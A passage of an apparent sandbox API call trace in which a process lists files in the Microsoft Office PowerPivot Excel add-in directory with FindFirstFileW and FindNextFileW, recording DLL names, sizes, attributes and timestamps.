cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.950] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d04716, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0281.950] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.951] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0281.951] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.951] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.951] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0281.952] GetProcessHeap () returned 0xaf0000 [0281.952] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.952] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0281.952] GetProcessHeap () returned 0xaf0000 [0281.952] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.954] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.954] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1191, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.954] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cfac8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0281.954] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0281.954] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91d3da7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91d3da7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d3da7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.955] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc32591f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc32591f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x200030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.955] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a6473, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a6473, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0281.955] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.955] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cd4a32, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cd4a32, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0281.955] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe3ab3a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe3ab3a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe3ab3a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0281.955] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf10a1263, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12910b6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.955] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf43250ed, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.955] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5ca8ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5ca8ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa68949f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0281.956] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0281.956] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c8cf9c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c8cf9c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.956] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x605aed7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x605aed7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x613fd44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0281.956] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x238ed8d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x238ed8d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2984c3b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0281.956] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d76e38, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0281.956] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37acc11, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37acc11, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37acc11, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0281.956] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.956] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.958] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0281.959] GetProcessHeap () returned 0xaf0000 [0281.959] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.959] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1 [0281.959] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClientUI.dll", cAlternateFileName="MIF69D~1.DLL")) returned 1 [0281.959] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17bc90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.959] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.dll", cAlternateFileName="MI6388~1.DLL")) returned 1 [0281.959] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1af090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.dll", cAlternateFileName="MI8069~1.DLL")) returned 1 [0281.959] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60f38e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60f38e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c240, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.XmlSerializers.dll", cAlternateFileName="MI37F3~1.DLL")) returned 1 [0281.959] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18d33e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18d33e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18d33e2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x664698, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.XmlSerializers.dll", cAlternateFileName="MI3E9C~1.DLL")) returned 1 [0281.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x100c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.dll", cAlternateFileName="MIA386~1.DLL")) returned 1 [0281.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Modeler.UI.rll", cAlternateFileName="MICROS~1.RLL")) returned 1 [0281.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MI4938~1.DLL")) returned 1 [0281.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4bc999b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4bc999b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4bc999b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c630, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.dll", cAlternateFileName="MI0653~1.DLL")) returned 1 [0281.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Dallas.OAuthClient.dll", cAlternateFileName="MIF98A~1.DLL")) returned 1 [0281.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae48f06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x62068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.ConnectionUI.Dialog.dll", cAlternateFileName="MI3A9E~1.DLL")) returned 1 [0281.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, 